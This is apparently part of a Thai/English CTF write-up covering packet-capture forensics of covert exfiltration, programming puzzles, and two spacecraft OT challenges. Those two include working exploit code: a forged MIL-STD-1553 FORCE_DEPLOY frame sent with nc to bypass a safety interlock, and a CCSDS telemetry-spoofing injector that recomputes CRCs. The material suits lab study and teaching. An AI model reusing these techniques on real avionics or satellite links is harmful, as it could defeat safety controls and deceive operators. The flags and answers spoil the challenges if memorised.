The 3-digit decimals map straight to ASCII: 100 to d 051 to 3 099 to c 049 to 1 109 to m 052 to 4 108 to l 095 to _ 049 to 1 115 to s 095 to _ 116 to t 104 to h 051 to 3 095 to _ 107 to k 051 to 3 121 to y

hidden phrase = d3c1m4l_1s_th3_k3y   ("decimal is the key")
md5("d3c1m4l_1s_th3_k3y") = b388690b0fc98d0f04bc7e8d8d46a516
# => RTARF{b388690b0fc98d0f04bc7e8d8d46a516}

10) Trust Issues - out-of-spec message type + a lying protocol draft (never trust the spec)#

Flag: RTARF{69c9fe93156080c3c4bfe863e6252d29} Difficulty / คะแนน: Medium (200) Files / Target: unknown_traffic.pcap, protocol_spec_DRAFT.txt

โจทย์ให้ pcap ที่มี traffic บน TCP/4141 (server 10.60.0.100, corporate net 10.60.0.0/24) ปนกับ noise ของ DNS/NTP/ICMP มาพร้อม protocol_spec_DRAFT.txt ซึ่งเป็น spec ภายในของ “Internal Monitoring Agent (IMA)” - โครง frame คือ DE AD | VERSION(01) | TYPE | LENGTH(uint16) | PAYLOAD | CHECKSUM โดย spec บอกว่า LENGTH เป็น big-endian, CHECKSUM = ผลรวม payload mod 256 และ TYPE นอกช่วง 0x01–0x05 ต้องถูก drop ทิ้งเงียบ ๆ

ถ้าไล่ TCP stream ทั้งหมด (มี 13 streams) จะเห็นว่าเกือบทุก client คุยกันปกติ: HELLO แล้ว ACK, DATA/STATUS แล้ว ACK, PING แล้ว PONG. แต่ stream 6 (client 10.60.0.11 พอร์ต 50064) แปลก - มันส่ง message TYPE = 0x07 ชื่อ EXFIL ซึ่งเป็น type ที่ spec สั่งให้ทิ้ง แต่ server กลับตอบ ACK EXFIL 00, ACK EXFIL 01, … นี่คือ “Trust Issue” ตัวจริง: server เชื่อ/ประมวลผล message ที่ไม่อยู่ใน spec เปิดเป็นช่องทาง covert exfiltration

ยังไม่พอ - พอจะ parse frame จริง ๆ ตาม spec แล้ว “พัง”: LENGTH ที่ spec บอกว่า big-endian จริง ๆ เป็น little-endian (เช่น STATUS ยาว 20 ไบต์ ถูกเข้ารหัสเป็น 14 00 ไม่ใช่ 00 14) และ CHECKSUM ที่ spec บอกว่า “sum mod 256” จริง ๆ เป็น XOR ของ payload. spec โกหกทั้งเรื่อง endian และเรื่อง checksum ตรงกับชื่อโจทย์เป๊ะ - never trust the spec ต้องอ่านจาก traffic จริงเท่านั้น

EXFIL 4 frame แตกข้อมูลออกเป็น fragment ตาม idx: n3v3r / _trus / t_th3 / _sp3c ต่อกันได้ secret = n3v3r_trust_th3_sp3c แล้ว flag = RTARF{ md5(secret) }

We get a pcap of TCP/4141 traffic (server 10.60.0.100, corp net 10.60.0.0/24) buried in DNS/NTP/ICMP noise, plus protocol_spec_DRAFT.txt for an “Internal Monitoring Agent (IMA)”. The frame is DE AD | VERSION(01) | TYPE | LENGTH(uint16) | PAYLOAD | CHECKSUM. The spec says LENGTH is big-endian, CHECKSUM = sum of payload mod 256, and any TYPE outside 0x01–0x05 MUST be silently discarded.

Following all 13 TCP streams, almost every client behaves: HELLO to ACK, DATA/STATUS to ACK, PING to PONG. But stream 6 (client 10.60.0.11, port 50064) is the odd one - it sends TYPE = 0x07 (EXFIL), a type the spec orders receivers to drop, yet the server replies ACK EXFIL 00, ACK EXFIL 01, … That is the real trust flaw: the server trusts/processes an out-of-spec message type, opening a covert exfil channel.

Worse, parsing the frames strictly by the spec fails. LENGTH is actually little-endian, not big-endian (a 20-byte STATUS payload is encoded 14 00, not 00 14), and CHECKSUM is actually XOR of the payload, not a sum mod 256. The draft lies about both - exactly matching “Trust Issues”: never trust the spec, trust the wire.

The four EXFIL frames carry indexed fragments n3v3r / _trus / t_th3 / _sp3c, which reassemble to the secret n3v3r_trust_th3_sp3c, and the flag is RTARF{ md5(secret) }.

Step 1 - spot the streams and the rogue TYPE 0x07:

# every 4141 payload, tagged by stream + source
tshark -r unknown_traffic.pcap -Y "tcp.port==4141 && tcp.len>0" \
       -T fields -e tcp.stream -e ip.src -e tcp.payload
# streams 0-5,7-12 = normal HELLO/STATUS/PING. stream 6 is different:
#  6 10.60.0.11  dead01071700455846494c206964783d303020646174613d6e3376337251   -> TYPE 0x07 "EXFIL idx=00 data=n3v3r"
#  6 10.60.0.100 dead01030c0041434b20455846494c20303017                         -> server ACKs it (should have dropped!)
#  ... idx=01/02/03 follow, each ACK'd, then "DONE bye"

Step 2 - the spec is wrong on endianness AND checksum (confirm on a known-good frame):

python3 - <<'EOF'
from functools import reduce
# a normal HELLO frame from stream 0
fr=bytes.fromhex("dead0101140048454c4c4f2057532d4445562d30312076312e324b")
L_be=int.from_bytes(fr[4:6],"big"); L_le=int.from_bytes(fr[4:6],"little")
print("LEN big=",L_be,"little=",L_le)          # big=5120 (absurd) ; little=20 (correct)
p=fr[6:6+L_le]; stored=fr[6+L_le]
print("stored chk",hex(stored),
      "sum%256",hex(sum(p)%256),                # 0xff  -> spec's algo is WRONG
      "xor",hex(reduce(lambda a,c:a^c,p,0)))    # 0x4b  -> matches stored -> real algo is XOR
EOF

Step 3 - reassemble the EXFIL fragments and derive the flag:

# solved with Claude
import subprocess, hashlib
out = subprocess.run(
    ["tshark","-r","unknown_traffic.pcap",
     "-Y","tcp.stream==6 && ip.src==10.60.0.11 && tcp.len>0",
     "-T","fields","-e","tcp.payload"],
    capture_output=True, text=True).stdout

parts = {}
for line in out.split():
    b = bytes.fromhex(line)
    if b[3] != 0x07:                       # keep only the out-of-spec EXFIL type
        continue
    L = int.from_bytes(b[4:6], "little")   # spec lies: length is little-endian
    payload = b[6:6+L]
    idx = int(payload.split(b"idx=")[1][:2])
    parts[idx] = payload.decode().split("data=")[1]
    # print(payload)  ->  EXFIL idx=00 data=n3v3r  ...  idx=03 data=_sp3c

secret = "".join(parts[i] for i in sorted(parts))
print("secret:", secret)                                  # n3v3r_trust_th3_sp3c
print("RTARF{%s}" % hashlib.md5(secret.encode()).hexdigest())
# => RTARF{69c9fe93156080c3c4bfe863e6252d29}

Reassembled fragments (by idx): n3v3r + _trus + t_th3 + _sp3c = n3v3r_trust_th3_sp3c, and md5("n3v3r_trust_th3_sp3c") = 69c9fe93156080c3c4bfe863e6252d29.

=> RTARF{69c9fe93156080c3c4bfe863e6252d29}#

11) Scattered - flag split across three covert channels (ARP + ICMP + DNS)#

Flag: RTARF{5209d482a9f5881fc74de2e840cdc507} Difficulty / คะแนน: Hard (400) Files / Target: traffic.pcap

โจทย์บอกว่าผู้โจมตีแบ่ง flag ออกเป็น 3 ส่วน แล้วซ่อนไว้ใน 3 protocol ที่ต่างกันในไฟล์ capture เดียว เริ่มจากดูภาพรวมโปรโตคอลด้วย tshark -q -z io,phs จะเห็น DNS, HTTP, ICMP และ ARP ปนกันเต็มไปหมด แต่ traffic ส่วนใหญ่คือ “ควัน” (decoy) ที่มาจากเครื่อง 10.70.0.2 ถึง 10.70.0.14 คุยกันเอง เช่น query โดเมนจริง (s3.amazonaws.com, teams.microsoft.com), ping ที่มี payload เป็นคำว่า ping, และ HTTP GET หน้าเว็บภายในไปที่ 10.70.0.100 - ทั้งหมดนี้ตั้งใจสร้างมากลบเกลื่อน

กุญแจสำคัญคือ ทุกอย่างที่เป็นของจริงมาจากเครื่องเดียว คือ 10.70.0.200 (frame 325–339 ท้าย pcap) กรองด้วย ip.addr==10.70.0.200 แล้วจะเห็นว่ามันยิงข้อมูลออกไป 3 ช่องทาง เรียงตามเวลา คือ ARP ไป ICMP ไป DNS และแต่ละช่องซ่อนข้อมูลไว้ใน “ส่วนหัว” (header field) ไม่ใช่ใน payload - นี่คือเทคนิค covert channel แบบคลาสสิก คือใช้ฟิลด์ที่ปกติไม่มีใครมอง

  • ARP: ส่ง “Who has 10.70.0.X” โดยเลข octet สุดท้าย (106, 49, 103) คือค่า ASCII ของตัวอักษร j 1 g
  • ICMP: Echo request ที่ค่า seq (115, 52, 119, 95, 112, 114) คือค่า ASCII ของ s 4 w _ p r
  • DNS: query dN-XX.cdn-metrics.io โดย N คือลำดับ (0–5) และ XX คือ hex ของ 1 ไบต์ ต่อกันเป็น 30 74 30 63 30 6c = 0 t 0 c 0 l

พอเอามาต่อกันตามลำดับเวลา (ARP+ICMP+DNS) ได้ j1gs4w_pr0t0c0l ซึ่งอ่านเป็น leetspeak ว่า “jigsaw_protocol” - คำที่อ่านออกนี่แหละคือเครื่องยืนยันว่าถอดถูกและเรียงถูก ส่วน hint “Generate new key from scratch” หมายถึงให้เอาสตริงที่ได้ไปเข้า md5 เพื่อสร้างกุญแจ แล้วครอบด้วย RTARF{}

The prompt says the attacker split the flag into 3 parts hidden across 3 different protocols in one capture. Start with a protocol overview via tshark -q -z io,phs: it shows DNS, HTTP, ICMP and ARP all mixed together. Almost all of it is decoy noise generated by hosts 10.70.0.2 through 10.70.0.14 talking to each other - real-looking domain lookups (s3.amazonaws.com, teams.microsoft.com), pings whose payload literally spells ping, and internal HTTP GETs to 10.70.0.100. It is deliberate cover traffic.

The key insight: everything real originates from one host, 10.70.0.200 (frames 325–339 at the tail of the pcap). Filtering ip.addr==10.70.0.200 reveals it exfiltrating over 3 channels in time order - ARP to ICMP to DNS - with each channel hiding data in a header field, never in the payload. That is a classic covert-channel technique: abuse fields nobody inspects.

  • ARP: “Who has 10.70.0.X” requests where the final octet (106, 49, 103) is an ASCII byte to j 1 g
  • ICMP: Echo requests whose seq field (115, 52, 119, 95, 112, 114) is ASCII to s 4 w _ p r
  • DNS: queries dN-XX.cdn-metrics.io where N is the index (0–5) and XX is one hex byte to 30 74 30 63 30 6c = 0 t 0 c 0 l

Concatenated in time order (ARP+ICMP+DNS) they give j1gs4w_pr0t0c0l, which reads as the leetspeak phrase “jigsaw_protocol” - that readable word confirms both the byte decode and the ordering. The hint “Generate new key from scratch” means: md5 the recovered string to generate the key, then wrap it in RTARF{}.

Step 1 - protocol overview and isolate the attacker host:

tshark -r traffic.pcap -q -z io,phs
#   arp  frames:47   ip: udp/dns 126, tcp/http 30, icmp 76   -> lots of decoy

# everything real comes from 10.70.0.200 (frames 325-339)
tshark -r traffic.pcap -Y "ip.addr==10.70.0.200" \
  -T fields -e frame.number -e ip.src -e ip.dst -e _ws.col.Protocol -e _ws.col.Info
# 325  ARP  Who has 10.70.0.106? Tell 10.70.0.200
# 326  ARP  Who has 10.70.0.49?  Tell 10.70.0.200
# 327  ARP  Who has 10.70.0.103? Tell 10.70.0.200
# 328-333 ICMP Echo (ping) request id=0xaaaa seq=115/52/119/95/112/114
# 334-339 DNS  A d0-30 / d1-74 / d2-30 / d3-63 / d4-30 / d5-6c .cdn-metrics.io

Step 2 - pull each channel’s raw field:

# ARP: target IP last octet
tshark -r traffic.pcap -Y "arp.src.proto_ipv4==10.70.0.200" \
  -T fields -e arp.dst.proto_ipv4        # 10.70.0.106  .49  .103

# ICMP: echo-request sequence number
tshark -r traffic.pcap -Y "ip.src==10.70.0.200 && icmp" \
  -T fields -e icmp.seq                   # 115 52 119 95 112 114

# DNS: dN-XX subdomain
tshark -r traffic.pcap -Y "ip.src==10.70.0.200 && dns" \
  -T fields -e dns.qry.name              # d0-30 d1-74 d2-30 d3-63 d4-30 d5-6c

Step 3 - decode all three channels and derive the flag:

# solved with Claude
import hashlib
arp  = ''.join(chr(x) for x in [106,49,103])                 # -> 'j1g'
icmp = ''.join(chr(x) for x in [115,52,119,95,112,114])      # -> 's4w_pr'
dns  = ''.join(chr(x) for x in [0x30,0x74,0x30,0x63,0x30,0x6c])  # d0..d5 -> '0t0c0l'
secret = arp + icmp + dns                                     # time order ARP+ICMP+DNS
print(secret)                                                # j1gs4w_pr0t0c0l  ("jigsaw_protocol")
print("RTARF{%s}" % hashlib.md5(secret.encode()).hexdigest())
# => RTARF{5209d482a9f5881fc74de2e840cdc507}

The recovered secret j1gs4w_pr0t0c0l reads as leetspeak “jigsaw_protocol”, confirming the decode; md5 of the exact recovered bytes yields the flag.

# => RTARF{5209d482a9f5881fc74de2e840cdc507}

Note: computed offline (no live checker), so this is a deterministic reconstruction. If the author intended de-leeting the phrase first, the alternative is md5("jigsaw_protocol") = 6b6c8ecd22e2e0a4cb774e4345df3243; the primary answer md5’s the bytes exactly as they were exfiltrated.


OT (Operational Technology / Space Systems)#

12) Orion Solar Array Wing (SAW) - MIL-STD-1553 bus injection / unauthenticated command-word forgery#

Flag: (remote - exploit below; live flag served by nc, not capturable offline) Difficulty / คะแนน: Easy (100) Files / Target: README.md, spec_excerpt.md - and/or nc 10.69.50.3 1553

โจทย์นี้จำลองบัส MIL-STD-1553B ภายในยาน Orion-T1 เราได้ยึด “bus stub” ไว้แล้ว จึงปลอมเป็น Bus Controller (BC) ส่ง command frame ไปยัง Remote Terminal ตัวไหนก็ได้ จุดอ่อนเชิงหลักการคือ 1553B ปี 1978 ไม่มี authentication/integrity บนสาย - ทุก node เชื่อ command word ที่ format ถูกต้องโดยอัตโนมัติ (สายบัสเองคือ trust boundary) ส่วน safety interlock ที่ห้ามกางแผงโซลาร์ตอน vibration สูงนั้นบังคับอยู่ที่ logic บน OBC เท่านั้น ไม่ใช่ที่ actuator ดังนั้นถ้าเราคุยกับ RT 05 (Solar Motor Controller) ตรงๆ ก็ข้าม interlock ได้เลย

ทุกอย่างที่ต้องใช้อยู่ใน spec แล้ว ไม่ต้องต่อ server จริงก่อนก็ประกอบ frame ได้:

  • Command Word 16 บิต มี layout RT(5) ‖ T/R(1) ‖ SA(5) ‖ WC(5) (§2.1)
  • ช่อง DEPLOYMENT คือ SA 0x03, ทิศ T/R=0 (BC ไป RT, RECEIVE), ตามด้วย data word 1 word พอดี WC=1 (§4.1)
  • opcode ที่ “ถูกต้องเชิงบัสแต่ผิดที่เชิงปลอดภัย” คือ FORCE_DEPLOY = 0x00D1 - vendor warning ใน HK บอกเองว่า “MUST NOT be callable in flight (It currently is.)” ส่วน NORMAL_DEPLOY (0x00C0) จะติด interlock (§4.2)

This is a simulated MIL-STD-1553B avionics bus on the Orion-T1 spacecraft. We hold a bus stub, so we impersonate the Bus Controller (BC) and send a command frame to any Remote Terminal. The root weakness is architectural: 1553B (1978) has no on-bus authentication or integrity - every node trusts any correctly-formatted command word, so the physical bus itself is the trust boundary. The safety interlock that forbids deploying the solar wings while vibration is HIGH lives only in OBC flight software, not in the actuator. Talking directly to RT 05 (the Solar Motor Controller) therefore bypasses the interlock entirely.

Everything needed is in the spec; the frame is constructible offline:

  • The 16-bit Command Word is laid out RT(5) ‖ T/R(1) ‖ SA(5) ‖ WC(5) (§2.1).
  • The DEPLOYMENT channel is SA 0x03, direction T/R=0 (BC to RT, RECEIVE), followed by exactly one data word so WC=1 (§4.1).
  • The bus-valid-but-safety-wrong opcode is FORCE_DEPLOY = 0x00D1 - the HK vendor warning literally states it “MUST NOT be callable in flight (It currently is.)”, whereas NORMAL_DEPLOY (0x00C0) is gated by the interlock (§4.2).

Step 1 - pack the Command Word and validate against the spec’s own worked example:

# solved with Claude
RT=0x05; TR=0; SA=0x03; WC=1          # DEPLOYMENT: RT5, RECEIVE, SA3, 1 data word
cmd=(RT<<11)|(TR<<10)|(SA<<5)|WC
data=0x00D1                            # FORCE_DEPLOY opcode (spec §4.2)
print(format(cmd,'016b'), hex(cmd))    # 0010100001100001 0x2861
frame=bytes([cmd>>8, cmd&0xff, data>>8, data&0xff])
print(' '.join(f'{b:02X}' for b in frame))  # 28 61 00 D1

# sanity: rebuild the spec's TELEMETRY worked example (RT5,T/R=1,SA1,WC3) -> must be 0x2C23
print(hex((0x05<<11)|(1<<10)|(0x01<<5)|0x03))  # 0x2c23 layout confirmed

Command Word ออกมาเป็น 0x2861 และ data word 0x00D1 เมื่อเรียงลงสายแบบ big-endian ตามลำดับ [CMD_HI][CMD_LO][DATA_HI][DATA_LO] = 28 61 00 D1 ซึ่งตรงกับตัวอย่าง wire-encoding ใน README เป๊ะ ยืนยันว่า bit layout ถูก (การประกอบตัวอย่าง TELEMETRY ได้ 0x2C23 ตรงกับ §5)

Bit layout ของ Command Word:

 bit  15 14 13 12 11 | 10 | 9  8  7  6  5 | 4  3  2  1  0
       0  0  1  0  1  |  0 | 0  0  0  1  1 | 0  0  0  0  1
      \--- RT=0x05 --/  \TR/ \-- SA=0x03 -/ \-- WC=1 ----/
      => 0010 1000 0110 0001 = 0x2861
DATA  => 0000 0000 1101 0001 = 0x00D1  (FORCE_DEPLOY)

The Command Word is 0x2861 and the data word 0x00D1; serialized big-endian as [CMD_HI][CMD_LO][DATA_HI][DATA_LO] this is 28 61 00 D1, which matches the README’s wire-encoding example exactly - and rebuilding the spec’s TELEMETRY example yields 0x2C23 per §5, confirming the field packing.

Step 2 - send the single 4-byte FORCE_DEPLOY frame (one frame per connection):

# ASCII-hex form (server accepts 8 hex chars + LF)
echo -n "286100D1" | nc 10.69.50.3 1553

# raw-binary form (equivalent)
printf '\x28\x61\x00\xd1' | nc 10.69.50.3 1553
# solved with Claude - stdlib socket, no pwntools/scapy needed
import socket
s=socket.create_connection(("10.69.50.3",1553),timeout=10)
print(s.recv(65535).decode(errors="replace"))   # banner + RT05 ICD
s.sendall(b"286100D1")                            # CMD 0x2861 || DATA 0x00D1
print(s.recv(65535).decode(errors="replace"))     # decoded frame + FLAG line

Enumerate ที่ปลอดภัย (ไม่ติด watchdog strike): 2C 23 อ่าน TELEMETRY (สถานะยาน), 2C 46 อ่าน HOUSEKEEPING (opcode map ของ SA03) แต่ไม่จำเป็น เพราะ spec ให้ opcode map มาครบแล้ว frame เดียวที่ทำให้ motor ขยับจริงและ flush log + flag คือ FORCE_DEPLOY บน SA03

Safe pre-enumeration (does not incur watchdog strikes): 2C 23 reads TELEMETRY (spacecraft state) and 2C 46 reads HOUSEKEEPING (the SA03 opcode map) - but neither is required since the spec already lists the full opcode table. The one frame that actually drives the motor and flushes the log + integrity token is FORCE_DEPLOY on SA03.

Result: the live bus at 10.69.50.3:1553 is not reachable from the solve environment, so the emitted FLAG: RTARF{...} line cannot be captured offline. The exploit frame is fully derived from the spec and self-verifying:

# expected on a correct hit:
[BC -> RT] 1553 frame decoded:  CMD 0x2861 (RT 0x05, T/R 0 RECEIVE, SA 0x03, WC 1)  DATA 0x00D1
[RT 05][SA 03] FORCE_DEPLOY accepted (interlock bypassed) ...
# => FLAG: RTARF{...}
FRAME = 28 61 00 D1

13) Orion Telemetry Beacon Forgery - CCSDS/PUS-A HK spoof over a CRC-16/CCITT-FALSE trailer#

Flag: (remote - exploit below; live flag served by nc, not capturable offline) Difficulty / คะแนน: Medium (200) Files / Target: telemetry_capture.bin, spec_excerpt.md, README.md - and nc 10.69.50.3 7041

ยาน Orion-T1 downlink CCSDS Space Packet (PUS Service 3 / Subservice 25 - Housekeeping) ที่ APID 0x064 อัตรา 1 Hz หลัง panel B พังทำให้ frame จริงมี anomaly (panel_b_current ตกเหลือ ~0.4 A, battery_temp พุ่งเป็น ~44 °C, bms_status = CELL_IMBALANCE 0x02) ถ้าสถานีภาคพื้นเห็น anomaly ติดกัน 3 frame มันจะ uplink CMD_SAFE_MODE แล้วเตะเราออก เราคุม TM modulator อยู่ จึง ฉีด frame ปลอมให้ทันก่อน OBC ในแต่ละ slot 1 วินาที - ground มี deduplicator รับแค่ frame แรกที่ผ่าน validation ต่อ slot ดังนั้นถ้าเรายิงก่อน ground จะ “เห็น” ของเรา

จุดที่ต้อง reverse ก่อนคือ โครงเฟรม + CRC จาก telemetry_capture.bin (1290 ไบต์ = 30 เฟรม × 43 ไบต์). วางเลย์เอาต์แล้วได้: primary header 6 ไบต์ (APID 0x064, seq flags 0b11, PDL = 36), PUS-A secondary header 11 ไบต์ (0x10 PUS_v, ST=3, SST=25, SCNT, DEST=0x01, CUC 4 ไบต์ coarse + 2 ไบต์ fine), user data 24 ไบต์ (SID 0x0001 + float32 big-endian 5 ตัว + status 2 ไบต์) และ CRC 2 ไบต์. พอ parse ค่า float ออกมาตรง ๆ ก็เห็น bus voltage ~28.3 V, battery_temp ~24 °C, panel_b_current ~2.7 A, bms_status = 0x00 ครบ - นี่คือช่วง nominal ที่ ground ยอมรับ

CRC เป็นตัวชี้ขาด: brute-force ตระกูล CRC-16/CCITT พบว่า CRC-16/CCITT-FALSE (poly 0x1021, init 0xFFFF, ไม่ reflect, xorout 0x0000) เขียนแบบ big-endian คำนวณจากไบต์ 0..40 ทั้งหมด ตรงกับ CRC ที่เก็บไว้ทั้ง 30 เฟรม เมื่อได้ CRC แล้ว การปลอมก็แค่ก๊อป header ของ OBC (ได้ seq ถัดไป + CUC ที่ monotonic ฟรี) แล้วเขียนทับ payload ด้วยค่า healthy + คิด CRC ใหม่

Orion-T1 downlinks CCSDS Space Packets (PUS Service 3 / Subservice 25 - Housekeeping) on APID 0x064 at 1 Hz. Panel-B damage makes the genuine frames anomalous (panel_b_current drops to ~0.4 A, battery_temp spikes to ~44 °C, bms_status = CELL_IMBALANCE 0x02). If the ground station sees the anomaly for 3 consecutive frames it uplinks CMD_SAFE_MODE and locks us out. We control the TM modulator, so we inject a forged frame ahead of the OBC in each 1-second slot - ground has a deduplicator that only keeps the first valid frame per slot, so winning the race means ground “sees” ours.

The reversing target is the frame layout + CRC, recovered from telemetry_capture.bin (1290 bytes = 30 × 43-byte frames). The layout resolves to: 6-byte primary header (APID 0x064, seq flags 0b11, PDL = 36), 11-byte PUS-A secondary header (0x10 PUS_v, ST=3, SST=25, SCNT, DEST=0x01, 4-byte coarse + 2-byte fine CUC), 24-byte user data (SID 0x0001 + five big-endian float32 + two status bytes) and a 2-byte CRC. Parsing the floats directly exposes bus voltage ~28.3 V, battery_temp ~24 °C, panel_b_current ~2.7 A, bms_status 0x00 - the nominal band ground accepts.

The CRC is the crux: brute-forcing the CRC-16/CCITT family shows it is CRC-16/CCITT-FALSE (poly 0x1021, init 0xFFFF, no reflection, xorout 0x0000), stored big-endian and computed over bytes 0..40. It matches the stored CRC of all 30 frames. With the CRC known, forging is just: clone the OBC header (free correct next-seq + monotonic CUC), overwrite the payload with healthy values, and recompute the CRC.

Step 1 - parse the 43-byte frame from the capture:

# solved with Claude
import struct
data = open("telemetry_capture.bin","rb").read()        # 1290 = 30 * 43
f = data[:43]
# 6B primary | 11B PUS-A secondary | 24B user data | 2B CRC
seq   = struct.unpack(">H", f[2:4])[0] & 0x3fff          # 64
st,sst,dest = f[7], f[8], f[10]                          # 3, 25, 1
coarse = struct.unpack(">I", f[11:15])[0]                # 1730000000
sid   = struct.unpack(">H", f[17:19])[0]                 # 0x0001
A,B,C,D,E = struct.unpack(">fffff", f[19:39])            # 28.3 5.34 24.71 2.70 2.70
bms, fy   = f[39], f[40]                                 # 0x00 (NOMINAL), 0x01
# => C = battery_temp_c (~24 nominal / ~44 anomaly), D = panel_b_current_a (~2.7 / ~0.4)

Step 2 - recover the CRC variant by brute force over the whole capture:

# solved with Claude - the only variant matching all 30 frames
def crc16_ccitt_false(buf):          # poly 0x1021, init 0xFFFF, no-reflect, xorout 0
    crc = 0xFFFF
    for b in buf:
        crc ^= b << 8
        for _ in range(8):
            crc = ((crc<<1)^0x1021)&0xffff if crc&0x8000 else (crc<<1)&0xffff
    return crc

assert crc16_ccitt_false(f[:41]) == struct.unpack(">H", f[41:43])[0]   # 0x2b6f == 2b6f
# tested CCITT-FALSE / XMODEM / KERMIT / GENIBUS / MCRF4XX / X25 / MODBUS ... only CCITT-FALSE (BE) matched

Step 3 - forge a healthy frame and prove it self-validates:

# clone OBC header (keeps next seq + monotonic CUC) -> overwrite payload -> recompute CRC
def sanitize(genuine):
    hdr = genuine[:17]                                    # primary + PUS-A secondary hdr
    ud  = struct.pack(">H", 0x0001) + struct.pack(">fffff", 28.3, 5.0, 24.0, 2.70, 2.65) \
          + bytes([0x00, 0x01])                            # bms NOMINAL, anomaly bit clear
    body = hdr + ud
    return body + struct.pack(">H", crc16_ccitt_false(body))

# feed it a genuine ANOMALY frame (temp 44, panelB 0.4, bms 0x02) at seq 94:
# genuine: 0864c05e...423000003ecccccd...020353f9
# forged : 0864c05e00241003195e01671db49e0000000141e2666640a0000041c00000402ccccd4029999a0001ed34
#          ^ seq 94 preserved, temp->24.0, panelB->2.70, bms->0x00, valid CRC ed34

Step 4 - the live inject client (race the OBC each slot):

# solved with Claude - /tmp/.../solve/ot2/solve.py (excerpt)
while True:
    ln = readline().strip()
    if ln.startswith("TM "):                    # OBC just announced a frame
        _, kind, hexf = ln.split()
        forged = sanitize(bytes.fromhex(hexf))  # sanitize + re-CRC
        sock.sendall(b"IJ " + forged.hex().encode() + b"\n")   # inject FIRST
    elif ln.startswith("FLAG"):
        print(ln); break                        # RTARF{...}

Cloning the header is what makes this robust: ground enforces seq_{N+1} = seq_N + 1 and strictly-increasing CUC, and the OBC’s own frame already carries the correct next values - we only sanitize the EPS payload and re-stamp the CRC, so every injected frame passes the sequence/time checks automatically and reads as healthy. Ten valid healthy frames in a row -> ground returns the session-integrity token.

# remote 10.69.50.3:7041 -> TCP connect timeout (range not reachable offline)
# exploit complete & verified against the capture; FLAG served only by the live nc
# => RTARF{...}  (remote-unverified)

Programming#

14) Artemis Countdown - Orbital Resonance Check - brute-force pair simulation + md5#

Flag: RTARF{b3e3e393c77e35a4a3f3cbd1e429b5dc} Difficulty / คะแนน: Medium (200) Files / Target: Chall.txt, input.txt

โจทย์เป็น programming ล้วน ไม่มี OSINT คำตอบถูกกำหนดโดย input.txt ทั้งหมด มีดาวเทียม 18 ดวง แต่ละดวงมีคาบ T (วินาที) และ phase เริ่มต้น φ (องศา) โดย phase ที่เวลา t คือ p(t) = (φ + 360·t/T) mod 360 คู่ดาวเทียมจะ “เกิด Orbital Resonance” เมื่อผลต่าง phase แบบ circular (วัดบนวงกลม 360° คือ min(d, 360−d)) น้อยกว่า 1 องศา “เป็นครั้งแรก” ภายในช่วงเวลา t = 0,1,2,…,10000

หัวใจคือต้องอ่าน FLAG FORMAT ให้ชัด: โจทย์ให้ “นับจำนวนคู่ที่เกิด Resonance” (ไม่ใช่เวลา ไม่ใช่รายชื่อคู่) แล้วเอาจำนวนนั้นเป็น string ฐาน 10 ไปทำ MD5 ดังนั้นวิธีคือ brute-force ทุกคู่ C(18,2)=153 คู่ วนเวลา t เป็นจำนวนเต็ม 0..10000 เจอครั้งแรกที่ diff<1° ก็ถือว่าคู่นั้น resonate แล้วนับ

ผลลัพธ์: ทั้ง 153 คู่เกิด resonance ครบภายใน 10000 วินาที (เพราะ tolerance 1° ค่อนข้างหลวมและมีจุดเวลาให้ตรวจถึงหมื่นจุด phase relative จึงเลื่อนมาชนกันครบทุกคู่) จำนวนคู่ = 153 นำ “153” ไป md5 ได้ flag

This is a pure programming task - no OSINT, the answer is fully determined by input.txt. There are 18 satellites, each with an orbital period T (seconds) and initial phase φ (degrees). The phase at time t is p(t) = (φ + 360·t/T) mod 360. A pair “enters resonance” the first time their circular phase difference - measured on the 360° circle as min(d, 360−d) - is less than 1°, within integer times t = 0,1,2,…,10000.

The key is reading the FLAG FORMAT precisely: it asks for the count of pairs that resonate (not the time, not the pair list), taken as a base-10 string and MD5-hashed. So the approach is a straightforward brute force over all C(18,2)=153 pairs, scanning integer t from 0 to 10000, marking a pair as resonant the first time its circular diff < 1°, and counting.

Result: all 153 pairs reach resonance within 10000 seconds (the 1° tolerance is loose and 10001 integer sample points give the relative phase plenty of chances to cross), so the count is 153. md5(“153”) gives the flag.

Step 1 - read the inputs:

cat "Programming/2/input.txt"
# 18
# A 331 30
# B 359 100
# ... (18 satellites: name T phi)

Step 2 - simulate every pair and count resonances:

# solved with Claude
import hashlib, itertools
sats=[("A",331,30),("B",359,100),("C",251,76),("D",283,48),("E",89,187),
("F",269,354),("G",211,140),("H",347,284),("I",181,205),("J",307,327),
("K",37,38),("L",71,359),("M",197,91),("N",113,312),("O",53,31),
("P",163,246),("Q",233,72),("R",149,59)]

def phase(phi,T,t): return (phi+360.0*t/T)%360.0
def cdiff(a,b):
    d=abs(a-b)%360.0
    return min(d,360.0-d)                     # circular difference on 360 deg

count=0
for (n1,T1,p1),(n2,T2,p2) in itertools.combinations(sats,2):
    for t in range(0,10001):                  # inclusive t=0..10000
        if cdiff(phase(p1,T1,t),phase(p2,T2,t))<1.0:
            count+=1                           # first hit -> count and stop
            break

s=str(count)                                   # "153"
print("count=",count)
print("flag=RTARF{"+hashlib.md5(s.encode()).hexdigest()+"}")
# count= 153
# flag=RTARF{b3e3e393c77e35a4a3f3cbd1e429b5dc}

Step 3 - verify the hash independently:

printf '153' | md5sum
# b3e3e393c77e35a4a3f3cbd1e429b5dc  -

All C(18,2) = 153 pairs resonate within the window, so the counted string is 153.

# => RTARF{b3e3e393c77e35a4a3f3cbd1e429b5dc}

15) Lunar Beacon Sync - DSN Phase Recovery (CRT seed to LCG keystream XOR)#

Flag: RTARF{f3f97de67c80480904f958df15b8a57b} Difficulty / คะแนน: Hard (400) Files / Target: Programming/3/Chall.txt, Programming/3/input.txt

โจทย์เป็น pipeline 3 ชั้นที่ต่อกันแบบลูกโซ่ ชั้นแรกเป็นปัญหา “หา timestamp จากเศษเหลือ” คลาสสิก ground station 5 แห่งแต่ละแห่ง ping ด้วยคาบ m_i วินาที ซึ่งเป็นจำนวนเฉพาะ (prime) และบันทึก phase offset ไว้ว่า phase_offset_i = T mod m_i โดย T คือ Unix timestamp ที่ Orion ยิง beacon ออกมา เมื่อ modulus ทุกตัวเป็น prime ที่ต่างกัน มันจึง coprime กันเป็นคู่ ๆ ทำให้ใช้ Chinese Remainder Theorem (CRT) รวมสมการทั้ง 5 เป็นคำตอบเดียว modulo ผลคูณของ prime (ประมาณ 3.06e18 ซึ่งใหญ่กว่าช่วง Unix timestamp มาก จึงได้ T ที่ unique)

